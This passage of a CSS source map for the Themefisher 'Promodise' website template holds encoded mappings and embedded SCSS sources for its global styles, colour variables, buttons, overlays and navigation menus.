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,qBAAoB;EACpB,mBAAkB;EAClB,sCAAqC;EACrC,2BdHc;CcIjB;;AAED;EACI,iBAAgB;CACnB;;AAED;EACI,mBAAkB;CACrB;;AAED;EACI,oBAAmB;CACtB;;AAED;EACI,edxBmB;EcyBnB,eAAc;EACd,gBAAe;EACf,kBAAiB;CACpB;;AAED;EACI,YAAW;EACX,aAAY;EACZ,YAAW;EACX,mBAAkB;CACrB;;AAED;EACI,oBAAmB;EACnB,gBAAe;EACf,kBAAiB;EACjB,2BAA0B;CAC7B;;AAED;EACI,gBAAe;CAClB;;AAED;EACI,oBAAmB;CACtB;;AAED;EACI,oBAAmB;EACnB,kBAAiB;EACjB,iBAAgB;EAChB,2BdnDc;CcoDjB;;AAED;EACI,oBAAmB;CACtB;;AAED;EACI,Yd9DQ;Cc+DX;;AAED;EACI,edpEmB;CcqEtB;;AAED;EACI,oBAAmB;CACtB;;AAED;EACI,YAAW;CACd;;AC7ED;;mCAEmC;AACnC,uDAAuD;AAGvD,0CAA0C;AAG1C,0CAA0C;AAG1C,0CAA0C;AAC1C;EAEI;;sBAEkB;EAClB;IACI,iBAAgB;IAChB,mBAAkB;GACrB;EAED;IACI,aAAY;IACZ,kBAAiB;GACpB;EAED;IACI,oBAAmB;GACtB;EAED;IACI,oBAAmB;GACtB;EAED;;6BAEyB;EACzB;IACI,YAAW;GACd;EAGD;;sBAEkB;EAClB;IACI,qBAAoB;GACvB;EAED;;sBAEkB;EAClB;IACI,YAAW;IACX,YAAW;IACX,oBAAmB;GACtB;EACD;IACI,WAAU;IACV,aAAY;IACX,kBAAiB;GACrB;EACD;IACI,iBAAgB;GACnB;EAED;IACI,qBAAoB;GACvB;EAED;;sBAEkB;EAClB;IACI,oBAAmB;IACnB,mBAAkB;GACrB;EAED;;sBAEkB;EAClB;IACI,aAAY;IACZ,iBAAgB;GACnB;EAED;IACI,gBAAe;GAClB;EAED;IACI,gBAAe;GAClB;EACD;IACI,oBAAmB;GACtB;EACD;;sBAEkB;EAClB;IACI,oBAAmB;GACtB;CZu2CJ;;AY/1CD,kDAAkD;AAClD;EACK;;sBAEiB;EAClB;IACI,iBAAgB;IAChB,mBAAkB;GACrB;EAED;IACI,aAAY;IACZ,kBAAiB;GACpB;EAED;IACI,oBAAmB;GACtB;EAED;IACI,oBAAmB;GACtB;EAED;;6BAEyB;EACzB;IACI,YAAW;GACd;EAED;;sBAEkB;EAClB;IACI,qBAAoB;GACvB;EAED;;sBAEkB;EAClB;IACI,iBAAgB;GACnB;EAED;IACI,qBAAoB;GACvB;EAED;;yBAEqB;EACrB;IACI,cAAa;GAChB;EAED;;sBAEkB;EAElB;IACI,oBAAmB;IACnB,mBAAkB;GACrB;EAED;;sBAEkB;EAClB;IACI,oBAAmB;GACtB;EACD;IACI,aAAY;IACZ,iBAAgB;GACnB;EACD;IAEI,iBAAgB;GACnB;EACD;IACI,gBAAe;GAClB;EAED;IACI,gBAAe;GAClB;EAED;IACI,gBAAe;IACf,oBAAmB;GACtB;EAED;;oBAEgB;EAChB;IACI,mBAAkB;GACrB;EAED;;sBAEkB;EAClB;IACI,oBAAmB;GACtB;EACD;IACI,oBAAmB;GACtB;EAGD;IACI,aAAY;GACf;CZi1CJ;;AY90CD,2DAA2D;AAC3D;EACI;;sBAEkB;EAClB;IACI,iBAAgB;IAChB,mBAAkB;GACrB;EAED;IACI,aAAY;IACZ,kBAAiB;GACpB;EAED;IACI,oBAAmB;IACnB,mBAAkB;GACrB;EAED;IACI,oBAAmB;GACtB;EAED;;6BAEyB;EACzB;IACI,YAAW;GACd;EAED;IACI,gBAAe;IACf,kBAAiB;GAEpB;EACD;IACI,gBAAe;IACf,kBAAiB;GAEpB;EAED;IACI,gBAAe;IACf,kBAAiB;GACpB;EACD;;uBAEmB;EACnB;IACI,kBAAiB;GACpB;EAED;IACI,gBAAe;GAClB;EAED;;sBAEkB;EAClB;IACI,qBAAoB;GACvB;EAED;;sBAEkB;EAClB;IACI,YAAW;IACX,YAAW;IACX,oBAAmB;GACtB;EACD;IACI,WAAU;IACV,aAAY;IACX,kBAAiB;GACrB;EACD;IACI,iBAAgB;GACnB;EAED;IACI,qBAAoB;GACvB;EAGD;IACI,aAAY;GACf;EAED;IACI,oBAAmB;GACtB;EAED;;yBAEqB;EACrB;IACI,cAAa;GAChB;EAED;;sBAEkB;EAElB;IACI,oBAAmB;IACnB,mBAAkB;GACrB;EAED;;sBAEkB;EAClB;IACI,oBAAmB;GACtB;EACD;IACI,cAAa;IACb,iBAAgB;IAChB,mBAAkB;GACrB;EAED;IACI,gBAAe;GAClB;EAED;IACI,gBAAe;GAClB;EAED;;oBAEgB;EAChB;IACI,mBAAkB;GACrB;EAED;;sBAEkB;EAClB;IACI,oBAAmB;GACtB;EACD;IACI,oBAAmB;GACtB;CZ0zCJ","file":"../style.css","sourcesContent":["/*=== MEDIA QUERY ===*/\r\n@mixin mobile-xs{\r\n  @media(max-width:400px){\r\n    @content;\r\n  }\r\n}\r\n@mixin mobile{\r\n  @media(max-width:480px){\r\n    @content;\r\n  }\r\n}\r\n@mixin tablet{\r\n  @media(max-width:768px){\r\n    @content;\r\n  }\r\n}\r\n@mixin desktop{\r\n  @media(max-width:992px){\r\n    @content;\r\n  }\r\n}\r\n@mixin large-desktop{\r\n  @media(max-width:1200px){\r\n    @content;\r\n  }\r\n}","/*\r\n* ----------------------------------------------------------------------------------------\r\nAuthor       : Themefisher\r\nTemplate Name: Promodise\r\nVersion      : 1.0\r\n* ----------------------------------------------------------------------------------------\r\n*/\r\n\r\n/*\r\n* ----------------------------------------------------------------------------------------\r\n* 01.GLOBAL CSS STYLE\r\n* 02.PRELOADER & BOUNCE CCS STYLE\r\n* 03.HOMEPAGE CSS STYLE\r\n    -LOGO CSS\r\n    -MENU CSS\r\n* 04.ABOUT CSS STYLE\r\n* 05.SERVICE CSS STYLE\r\n* 06.WORK CSS STYLE\r\n* 07.AVAILABLE CSS STYLE\r\n* 08.CONTACT CSS STYLE\r\n* 09.FOOTER CSS STYLE\r\n* ----------------------------------------------------------------------------------------\r\n*/\r\n\r\n/*\r\n* ----------------------------------------------------------------------------------------\r\n* 01.GLOBAL STYLE\r\n* ----------------------------------------------------------------------------------------\r\n*/// Fonts \r\n@import url('https://fonts.googleapis.com/css?family=Poppins:400,600,700|Rubik:400,600,700');\r\n\r\n\r\nbody {\r\n    font-size: 16px;\r\n    font-weight: 400;\r\n    line-height: 26px;\r\n    font-family: $secondary-font;\r\n    color: #788487;\r\n    position: relative;\r\n}\r\n\r\np {\r\n    line-height: 28px;\r\n    font-size: 15px;\r\n}\r\n\r\nhtml {\r\n    overflow-x: hidden !important;\r\n    width: 100%;\r\n    height: 100%;\r\n    position: relative;\r\n    -webkit-font-smoothing: antialiased;\r\n    text-rendering: optimizeLegibility;\r\n}\r\n\r\nbody {\r\n    border: 0;\r\n    margin: 0;\r\n    padding: 0;\r\n}\r\n\r\nh1,.h1,\r\nh2,.h2,\r\nh3,.h3,\r\nh4,.h4,\r\nh5,.h5,\r\nh6 ,.h6{\r\n    font-family: $primary-font;\r\n    font-weight: 600;\r\n    margin-bottom: 0px;\r\n    color: $black-light;\r\n}\r\n\r\na {\r\n    text-decoration: none;\r\n    -webkit-transition: all 0.4s;\r\n    -webkit-transition: all 0.2s;\r\n    transition: all 0.2s;\r\n    color:$black;\r\n}\r\n\r\nimg {\r\n    max-width: 100%;\r\n}\r\n\r\na:hover {\r\n    color: #635CDB;\r\n    text-decoration: none;\r\n}\r\n\r\na:focus {\r\n    outline: none;\r\n    text-decoration: none;\r\n}\r\n\r\nul,\r\nli {\r\n    margin: 0;\r\n    padding: 0;\r\n    list-style: none;\r\n}\r\n\r\n\r\n\r\n\r\nh1 {\r\n    font-size: 48px;\r\n}\r\n\r\nh2 {\r\n    font-size: 36px;\r\n}\r\n\r\nh3 {\r\n    font-size: 28px;\r\n    line-height: 38px;\r\n}\r\n\r\nh4 {\r\n    font-size: 22px;\r\n    line-height: 32px;\r\n}\r\n\r\nh5 {\r\n    font-size: 16px;\r\n    line-height: 24px;\r\n}\r\n\r\nh6 {\r\n    font-size: 14px;\r\n    line-height: 26px;\r\n}\r\n\r\n\r\n.f-color {\r\n    color: #635CDB;\r\n}\r\n\r\nh5.subtitle {\r\n    font-size: 16px;\r\n    font-weight: 400;\r\n}","$light: #fff;\r\n$primary-color: #635CDB;\r\n$secondary-color: #f4f4f4;\r\n$black: #000;\r\n$black-light: #232323;\r\n$black-lighter: #888;\r\n$border-color:#eee;\r\n$primary-font:'Poppins', sans-serif;\r\n$secondary-font:'Rubik', sans-serif;\r\n","\r\n.no-padding {\r\n    padding: 0;\r\n}\r\n\r\n.flaticon {\r\n    display: inline;\r\n}\r\n\r\n.mb30 {\r\n    margin-bottom: 30px;\r\n}\r\n\r\n.section-padding {\r\n    padding: 90px 0px;\r\n}\r\n\r\n.section-heading {\r\n    text-align: center;\r\n    width: 70%;\r\n    margin: 0 auto 60px;\r\n}\r\n\r\n.section-title {\r\n    font-size: 32px;\r\n    line-height: 38px;\r\n    margin-bottom: 15px;\r\n    text-transform: capitalize\r\n}\r\n\r\n.section-title span {\r\n    color: #635CDB;\r\n}\r\n.section{\r\n    padding: 100px 0px;\r\n}\r\n\r\n\r\n.line {\r\n    width: 50px;\r\n    background: #635CDB;\r\n    height: 1px;\r\n    margin: 10px auto;\r\n}\r\n\r\n\r\n\r\n\r\n/*---------- BUTTONS ----------*/\r\n\r\n.btn {\r\n    font: 600 10.5px/1;\r\n    display: inline-block;\r\n    padding: 15px 45px 15px 45px;\r\n    text-transform: uppercase;\r\n    border: 2px solid transparent;\r\n    -webkit-transition: all .2s;\r\n    transition: all .2s;\r\n    border-radius: 0px;\r\n    font-weight: 600;\r\n    font-size: 13px;\r\n    letter-spacing: 1px;\r\n}\r\n\r\n.btn:focus,\r\n.btn:active,\r\n.btn:active:focus {\r\n    outline: none;\r\n    box-shadow: none;\r\n}\r\n\r\n.btn-hero,\r\n.btn-white:hover {\r\n    color: #fff !important;\r\n    background: #635CDB;\r\n}\r\n\r\n.btn-hero:focus {\r\n    color: #fff !important;\r\n}\r\n\r\n.btn-black,\r\n.btn-hero:hover {\r\n    background-color: rgba(0, 0, 0, 1);\r\n    color: #fff !important;\r\n}\r\n\r\n.btn-black:hover {\r\n    color: #fff;\r\n    background: #635CDB;\r\n}\r\n\r\n.btn-black:focus {\r\n    color: #fff;\r\n}\r\n\r\n.btn-white {\r\n    background-color: rgba(255, 255, 255, .95);\r\n    color: rgba(0, 0, 0, .85);\r\n    border-color: rgba(255, 255, 255, .12);\r\n}\r\n\r\n.btn-white:focus {\r\n    color: #000;\r\n}\r\n\r\n.btn-white:active {\r\n    color: #fff;\r\n}\r\n\r\n.btn-trans-black {\r\n    background-color: transparent;\r\n    border: 2px solid rgba(0, 0, 0, .15);\r\n    color: rgba(0, 0, 0, .85);\r\n}\r\n\r\n.btn-trans-black:hover {\r\n    color: rgba(255, 255, 255, 1);\r\n    background-color: #000;\r\n}\r\n\r\n.btn-trans-white {\r\n    background-color: transparent;\r\n    border: 2px solid rgba(255, 255, 255, .15);\r\n    color: rgba(255, 255, 255, .95);\r\n}\r\n\r\n.btn-trans-white:hover {\r\n    background-color: rgba(255, 255, 255, .95);\r\n    color: rgba(0, 0, 0, .85);\r\n    border-color: rgba(255, 255, 255, .12);\r\n}\r\n\r\n.btn-trans-white:active,\r\n.btn-trans-white:focus {\r\n    color: #fff;\r\n    background-color: transparent;\r\n    border-color: rgba(255, 255, 255, .12);\r\n}\r\n\r\n.btn-rounded {\r\n    border-radius: 2px;\r\n}\r\n\r\n.btn-circled {\r\n    border-radius: 40px;\r\n}\r\n\r\n\r\n.btn-trans-black:hover {\r\n    background: #635CDB!important;\r\n}\r\n\r\n\r\n\r\n/*---------- COLORS ----------*/\r\n\r\n/*-- Background Colors --*/\r\n\r\n.bg-black {\r\n    background-color: #000;\r\n}\r\n\r\n.bg-dark {\r\n    background-color: rgba(0, 0, 0, .96);\r\n}\r\n\r\n.bg-feature {\r\n    background-color: #635CDB;\r\n}\r\n\r\n.bg-primary {\r\n    background-color: #0db8ca;\r\n}\r\n\r\n.bg-gray {\r\n    background-color: #f2f4ec;\r\n}\r\n\r\n.bg-white {\r\n    background-color: #fff;\r\n}\r\n\r\n\r\n.d-table {\r\n    width: 100%;\r\n}\r\n\r\n\r\n.d-table-cell {\r\n    vertical-align: middle;\r\n}\r\n\r\n\r\n.overlay {\r\n    position: absolute;\r\n    top: 0px;\r\n    left: 0px;\r\n    width: 100%;\r\n    height: 100%;\r\n    background: rgba(0, 0, 0, 0.5);\r\n}\r\n\r\n.brown-overlay {\r\n    background: #222955;\r\n    opacity: .97;\r\n}\r\n\r\n.feature-overlay {\r\n    background: #635CDB;\r\n    opacity: .97;\r\n}\r\n\r\n.gr-overlay {\r\n    background: linear-gradient(135deg, #2f1ce0 0%, #53a0fd 30%, #51eca5 100%);\r\n    opacity: .87;\r\n}\r\n\r\n\r\n/* ========================\r\n\r\n==============================*/\r\n\r\n.heading {\r\n    margin-bottom: 40px;\r\n}\r\n.heading h3{\r\n    margin-bottom: 10px;\r\n    font-weight: 600;\r\n}\r\n\r\n","\r\n/*------------------------------------\r\n  MENU NAVIGATION AREA\r\n----------------------------------*/\r\n\r\n.site-navigation,\r\n.trans-navigation {\r\n    padding: 20px 0px;\r\n}\r\n\r\n.site-navigation .navbar-nav a,\r\n.trans-navigation .navbar-nav a {\r\n    text-transform: uppercase;\r\n}\r\n\r\n.site-navigation .navbar-nav a.active,\r\n.trans-navigation .navbar-nav a.active {\r\n    color: red;\r\n}\r\n\r\n\r\n.header-white {\r\n    position: fixed;\r\n    top: 0px;\r\n    background: #111;\r\n    z-index: 9999;\r\n    width: 100%;\r\n    left: 0;\r\n    -webkit-transition: all .3s ease 0s;\r\n    -o-transition: all .5s ease 0s;\r\n    transition: all .5s ease 0s;\r\n    color: $black!important;\r\n}\r\n\r\n.navbar-expand-lg.trans-navigation .navbar-nav .nav-link,\r\n.navbar-expand-lg.site-navigation .navbar-nav .nav-link {\r\n    padding: 0px 24px;\r\n}\r\n\r\n.navbar-expand-lg.trans-navigation .navbar-nav .nav-link:last-child,\r\n.navbar-expand-lg.site-navigation .navbar-nav .nav-link:last-child {\r\n    padding-right: 0px;\r\n}\r\n\r\n.site-navigation,\r\n.trans-navigation {\r\n    -webkit-transition: all .3s ease 0s;\r\n    -o-transition: all .5s ease 0s;\r\n    transition: all .5s ease 0s;\r\n}\r\n\r\n.navbar-brand {\r\n    padding-top: 0px;\r\n    margin-right: 60px;\r\n    font-weight: 700;\r\n    text-transform: capitalize;\r\n    color: $light;\r\n}\r\n\r\n.navbar-brand span {\r\n    font-weight: 400;\r\n}\r\n\r\n\r\n.navbar-expand-lg.trans-navigation .navbar-nav .nav-link {\r\n    color: $light;\r\n}\r\n\r\n\r\n.trans-navigation {\r\n    background: transparent;\r\n}\r\n\r\n\r\n.trans-navigation.header-white {\r\n    background: #111;\r\n}\r\n\r\n.trans-navigation.header-white .navbar-nav .nav-link {\r\n    color: $light;\r\n}\r\n\r\n.trans-navigation.header-white .navbar-nav a.active {\r\n    color: $primary-color;\r\n\r\n}\r\n.navbar-brand img {\r\n    max-width: 100%;\r\n}\r\n\r\n\r\n.trans-navigation.header-white .btn-white {\r\n    background: $primary-color;\r\n    color: $light;\r\n}\r\n\r\n\r\n/* ===============================\r\n DROPDOWN MENU\r\n================================*/\r\n\r\n.navbar-expand-lg.trans-navigation .navbar-nav .nav-link.dropdown-toggle{\r\n    padding-right: 0px;\r\n}\r\n\r\n.nav-item.dropdown .dropdown-menu{\r\n    -webkit-transition: all 300ms ease;\r\n    -o-transition:all 300ms ease;\r\n    transition: all 300ms ease;\r\n    display: block;\r\n    visibility: hidden;\r\n    opacity: 0;\r\n    top: 120%;\r\n    -webkit-box-shadow: 2px 2px 5px 1px rgba(0,0,0,0.05),-2px 0px 5px 1px rgba(0,0,0,0.05);\r\n    box-shadow: 2px 2px 5px 1px rgba(0,0,0,0.05),-2px 0px 5px 1px rgba(0,0,0,0.05);\r\n    border: 0px;\r\n    padding: 0px;\r\n    position: absolute;\r\n}\r\n\r\n.nav-item.dropdown:hover .dropdown-menu{\r\n    opacity: 1;\r\n    visibility: visible;\r\n    top: 100%;\r\n}\r\n\r\n\r\n.dropdown-item:hover {\r\n    color: $light;\r\n    text-decoration: none;\r\n    background-color: $primary-color;\r\n\r\n}\r\n\r\n\r\n\r\n.dropdown-toggle::after{\r\n    display: 